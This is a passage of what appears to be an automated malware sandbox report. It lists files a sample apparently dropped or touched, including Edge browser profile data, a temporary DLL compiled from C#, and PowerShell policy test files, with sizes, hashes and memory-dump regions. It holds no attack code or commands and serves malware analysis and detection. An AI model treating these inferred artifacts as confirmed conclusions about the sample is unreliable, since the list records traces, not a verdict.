                                                                    99914b932bd37a50b983c5e7c90ae93b

                                                                    SHA1

                                                                    bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                                                    SHA256

                                                                    44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                                                    SHA512

                                                                    27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

                                                                    Filesize

                                                                    108KB

                                                                    MD5

                                                                    06d55006c2dec078a94558b85ae01aef

                                                                    SHA1

                                                                    6a9b33e794b38153f67d433b30ac2a7cf66761e6

                                                                    SHA256

                                                                    088bb586f79dd99c5311d14e1560bbe0bb56225a1b4432727d2183341c762bcd

                                                                    SHA512

                                                                    ec190652af9c213ccbb823e69c21d769c64e3b9bae27bea97503c352163bf70f93c67cebbf327bfc73bfd632c9a3ae57283b6e4019af04750fe18a2410a68e60

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\48e6e290-132b-4984-be8d-5c9e1ebdf6e3\index-dir\the-real-index

                                                                    Filesize

                                                                    1KB

                                                                    MD5

                                                                    3f6dfeaeb1be49a9d0cfefb98693b1f7

                                                                    SHA1

                                                                    ec1c201bbab814f5499e565d449f7b5636e646cb

                                                                    SHA256

                                                                    f45a6a8e7ea0d69ab39f20f380ade97c1fb256cdeabbbec449f6b9b7d0bbef47

                                                                    SHA512

                                                                    89f98f379c485b7cd5e28b58f72d4274736ea7245ee89e6ec15e6dcf5df3e4c9ce5ff0d1bf47635cdfaaefeca5c42e09ad4c33983751e6d64aeb5b974049a28a

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\48e6e290-132b-4984-be8d-5c9e1ebdf6e3\index-dir\the-real-index~RFe57b74a.TMP

                                                                    Filesize

                                                                    1KB

                                                                    MD5

                                                                    35db1c2bdf526aa573b824c9de650505

                                                                    SHA1

                                                                    e3b46e9552c42f27cf993b1e8975e0acc8df9644

                                                                    SHA256

                                                                    cc6a6af03d45718d704df646dbf159ea9cfbbe1c58e517319c1098789fd2104b

                                                                    SHA512

                                                                    e30a0d258c03755e4b785f2b7e28321173c5a68eb718d1e9a679aefc7e8356dcf454066287822ad78424ea2ef3d73a9c81efd9e6269c1be296e8df205f54f6c3

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

                                                                    Filesize

                                                                    22KB

                                                                    MD5

                                                                    445d74ab98e9d6e0456b60486a2c4be7

                                                                    SHA1

                                                                    cda5f44204a8371d0155acbe7d5b2675f7176edb

                                                                    SHA256

                                                                    a97a0e875d0adea8c06590aff0093ae17785297b7355c2925a07f1f261d46ebf

                                                                    SHA512

                                                                    6d198e257b78b6acfa4e7ac11079bc4ff99d796bb95578b5da5993494cc326f3511d096f2c5a54d6ce2a814c3024fa7bfdf436f3b86431c33be06726feb2c0e0

                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                    Filesize

                                                                    38KB

                                                                    MD5

                                                                    221c52e108a3104ef5d28deba7d1c1bf

                                                                    SHA1

                                                                    2443401cf6b1a637391059c987bb6d4c3e6611e9

                                                                    SHA256

                                                                    bf637f3160da25a064f424775ceb7b7dd4cace0ec309db05964738a42bf23b28

                                                                    SHA512

                                                                    a2489d48f320006c9023d320c346dd2465364e130885d46b92b4c3e2c3f3959a9120abbf49418b3876d19f149d7e3555bdcf28b182f7e8d96ac9afde97b01dcb

                                                                  • C:\Users\Admin\AppData\Local\Temp\RES8F40.tmp

                                                                    Filesize

                                                                    1KB

                                                                    MD5

                                                                    6c1a90049a6acbef94573d139023601e

                                                                    SHA1

                                                                    b7eb40fe031b705cc9b031d249ce77c937ee9320

                                                                    SHA256

                                                                    e65a802504e2b2ba016f28f08eec9d3adf603e6a70cbd5b1fe2d25e613556aac

                                                                    SHA512

                                                                    5a08317254d5c1150fa151ab2a5e3d4b132f20af95b2fa8fca00f6d6822ce3a3bb592b0851b248cd3c3ce68eb4db9085a4413f3b5936897af21efc0c545d3b56

                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lldicwfl.yfr.ps1

                                                                    Filesize

                                                                    60B

                                                                    MD5

                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                    SHA1

                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                    SHA256

                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                    SHA512

                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                  • C:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.dll

                                                                    Filesize

                                                                    4KB

                                                                    MD5

                                                                    8e7e115259b911d5436c065d0317ce77

                                                                    SHA1

                                                                    308120ee003adee5a17c5897af611b82944ab413

                                                                    SHA256

                                                                    c38f16a05957160fffd4e338d8777acc1d5b9598512e697f61efedb0de0b70b9

                                                                    SHA512

                                                                    e8b3da2da34715e29b23f14cf9622dccc6fb3b7d8ab12ff557c71e9242f5289082e385ca0067b66ab1a11fca5dd338ae90ff5a9f080a55d0cc31ebec2775a2cc

                                                                  • C:\Users\Admin\AppData\Local\Temp\tmp7E38.tmp

                                                                    Filesize

                                                                    36KB

                                                                    MD5

                                                                    40a13f9b39d6d3e649cf21f1b47da9ad

                                                                    SHA1

                                                                    b03d7f8ad2f90c61063e54cf45c01677f6a86942

                                                                    SHA256

                                                                    3cd5effba4bc90a72efe5e97609c962dd91d5b50e41f13bfa0f5606d322a5278

                                                                    SHA512

                                                                    7e821747ca4db1654c3ce01e31bc0bddfeb092464b0dea9aa8d5370c01dc0fc141fedcd168553c502a417b7703ced120ff53448c4135338cdff937a6f5f9cd5b

                                                                  • \??\c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\CSCA182C6B590C24306A89C75F459F6FB14.TMP

                                                                    Filesize

                                                                    652B

                                                                    MD5

                                                                    69ada5ea3dab30e018e96cd1b1ea6732

                                                                    SHA1

                                                                    5761f0c72b4f7353446323e93296ea412e4cdef3

                                                                    SHA256

                                                                    5e433f64e6c2a2164b872abd4d1c49ad3231bbcb414013fc6025c789cfea7551

                                                                    SHA512

                                                                    827862920e905f734701f9b58950447c2e58dc12c3ed47ec097b7d94a803a7b4b7e7c0b4c9acf8a40941a7def5b6f229b244320cee01a3cbe62a4b993afdc4f5

                                                                  • \??\c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.0.cs

                                                                    Filesize

                                                                    1KB

                                                                    MD5

                                                                    3d1018b223caf0c61982a29cb26996cc

                                                                    SHA1

                                                                    743fd8c82380e7d72ec1cb2e05f149e148874b0e

                                                                    SHA256

                                                                    786a71b68cee9392682824e67abfb89e5ec70ee6fb37213491b5c9a95ac59c92

                                                                    SHA512

                                                                    7a632143e76410669fff27e2fa184d572a788e9d315f7c2415c7013cb07026678fe1b3e4fb1a77411f82941d7a03c64632c07d3fc1398e2df5741471b9462980

                                                                  • \??\c:\Users\Admin\AppData\Local\Temp\aw4f5ufg\aw4f5ufg.cmdline

                                                                    Filesize

                                                                    369B

                                                                    MD5

                                                                    a8f066f45e9ab0180840ff6bd146a7e5

                                                                    SHA1

                                                                    0fb7e26fa1a1c6b74ea907d84ce61635f2b4337c

                                                                    SHA256

                                                                    bffbc270c623ecf1ad8841207b05f36812fe80759103a308ad6761924ccb91e6

                                                                    SHA512

                                                                    9c351067604963b5af9be9d82fc59796b89e75c7455c8a09afd9aa71c4b98789b5eab0415dff2ece119caa7dac82991ba6c46f4ffa7a328d6ff5aa4a5b88c2b4

                                                                  • memory/4216-125-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-72-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-660-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-655-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-654-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-653-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-94-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-95-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-98-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-102-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-103-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-104-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-108-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-112-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-113-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-114-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-115-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-116-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-119-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-123-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-129-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-124-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-0-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-133-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-134-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-135-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-652-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-18-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-17-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-12-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-11-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-564-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-2-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-1-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-640-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-643-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-646-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-647-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/4216-651-0x0000000000400000-0x0000000000439000-memory.dmp

                                                                    Filesize

                                                                    228KB

                                                                  • memory/5032-21-0x000001FF9ECC0000-0x000001FF9ECD0000-memory.dmp

                                                                    Filesize

                                                                    64KB

                                                                  • memory/5032-87-0x000001FF9F160000-0x000001FF9F168000-memory.dmp

                                                                    Filesize

                                                                    32KB

                                                                  • memory/5032-22-0x000001FF9ECC0000-0x000001FF9ECD0000-memory.dmp

                                                                    Filesize

                                                                    64KB

                                                                  • memory/5032-32-0x000001FF9EDD0000-0x000001FF9EDF2000-memory.dmp

                                                                    Filesize

                                                                    136KB

                                                                  • memory/5032-33-0x000001FF9ECC0000-0x000001FF9ECD0000-memory.dmp

                                                                    Filesize

                                                                    64KB